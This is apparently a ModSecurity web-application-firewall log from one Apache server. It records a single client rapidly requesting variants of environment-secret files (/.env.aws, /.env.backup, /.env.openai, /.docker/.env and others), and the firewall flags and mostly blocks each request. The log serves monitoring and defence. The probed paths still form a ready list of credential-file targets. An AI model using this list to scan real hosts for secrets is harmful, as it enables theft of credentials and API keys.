[Tue Oct 27 08:28:04.568991 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auCY1AHzNpgY2H50otlpzQAAAAg"]
[Tue Oct 27 08:28:04.577753 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auCY1I0JjhEi1NzVi4XsiAAAAAc"]
[Tue Oct 27 08:28:04.577885 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auCY1I0JjhEi1NzVi4XsiAAAAAc"]
[Tue Oct 27 08:28:04.578151 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auCY1I0JjhEi1NzVi4XsiAAAAAc"]
[Tue Oct 27 08:28:04.589025 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auCY1AJ0bI7Z9n11TMADbwAAAAA"]
[Tue Oct 27 08:28:04.589258 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auCY1AJ0bI7Z9n11TMADbwAAAAA"]
[Tue Oct 27 08:28:04.589618 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auCY1AJ0bI7Z9n11TMADbwAAAAA"]
[Tue Oct 27 08:28:04.605503 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auCY1JekxYBRCO5jo1OI4gAAABA"]
[Tue Oct 27 08:28:04.605743 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auCY1JekxYBRCO5jo1OI4gAAABA"]
[Tue Oct 27 08:28:04.606068 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auCY1JekxYBRCO5jo1OI4gAAABA"]
[Tue Oct 27 08:28:04.611691 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auCY1HOijkS-hyCWJGdJ-gAAAAI"]
[Tue Oct 27 08:28:04.611831 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auCY1HOijkS-hyCWJGdJ-gAAAAI"]
[Tue Oct 27 08:28:04.612069 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auCY1HOijkS-hyCWJGdJ-gAAAAI"]
[Tue Oct 27 08:28:04.630986 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCY1G_oZ855J3-bmxEqkAAAAAY"]
[Tue Oct 27 08:28:04.631218 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCY1G_oZ855J3-bmxEqkAAAAAY"]
[Tue Oct 27 08:28:04.631622 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCY1G_oZ855J3-bmxEqkAAAAAY"]
[Tue Oct 27 08:28:04.642018 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auCY1D4THoroSjopRdUAwAAAAAE"]
[Tue Oct 27 08:28:04.642266 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auCY1D4THoroSjopRdUAwAAAAAE"]
[Tue Oct 27 08:28:04.642573 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auCY1D4THoroSjopRdUAwAAAAAE"]
[Tue Oct 27 08:28:04.663031 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCY1I0JjhEi1NzVi4XsiQAAAAc"]
[Tue Oct 27 08:28:04.663234 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCY1I0JjhEi1NzVi4XsiQAAAAc"]
[Tue Oct 27 08:28:04.663500 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCY1I0JjhEi1NzVi4XsiQAAAAc"]
[Tue Oct 27 08:28:04.663662 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auCY1AHzNpgY2H50otlpzgAAAAg"]
[Tue Oct 27 08:28:04.663807 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auCY1AHzNpgY2H50otlpzgAAAAg"]
[Tue Oct 27 08:28:04.664021 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auCY1AHzNpgY2H50otlpzgAAAAg"]
[Tue Oct 27 08:28:04.664930 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auCY1AJ0bI7Z9n11TMADcAAAAAA"]
[Tue Oct 27 08:28:04.665064 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auCY1AJ0bI7Z9n11TMADcAAAAAA"]
[Tue Oct 27 08:28:04.665289 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auCY1AJ0bI7Z9n11TMADcAAAAAA"]
[Tue Oct 27 08:28:04.676171 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auCY1GUNDY12-2npPMSGJgAAAAo"]
[Tue Oct 27 08:28:04.676334 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auCY1GUNDY12-2npPMSGJgAAAAo"]
[Tue Oct 27 08:28:04.676583 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auCY1GUNDY12-2npPMSGJgAAAAo"]
[Tue Oct 27 08:28:04.678589 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auCY1A0kN5bHfPWi5uxztAAAAAU"]
[Tue Oct 27 08:28:04.678765 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auCY1A0kN5bHfPWi5uxztAAAAAU"]
[Tue Oct 27 08:28:04.678996 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auCY1A0kN5bHfPWi5uxztAAAAAU"]
[Tue Oct 27 08:28:04.685333 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auCY1JekxYBRCO5jo1OI4wAAABA"]
[Tue Oct 27 08:28:04.685501 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auCY1JekxYBRCO5jo1OI4wAAABA"]
[Tue Oct 27 08:28:04.685777 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auCY1JekxYBRCO5jo1OI4wAAABA"]
[Tue Oct 27 08:28:04.687555 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auCY1HOijkS-hyCWJGdJ-wAAAAI"]
[Tue Oct 27 08:28:04.687712 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auCY1HOijkS-hyCWJGdJ-wAAAAI"]
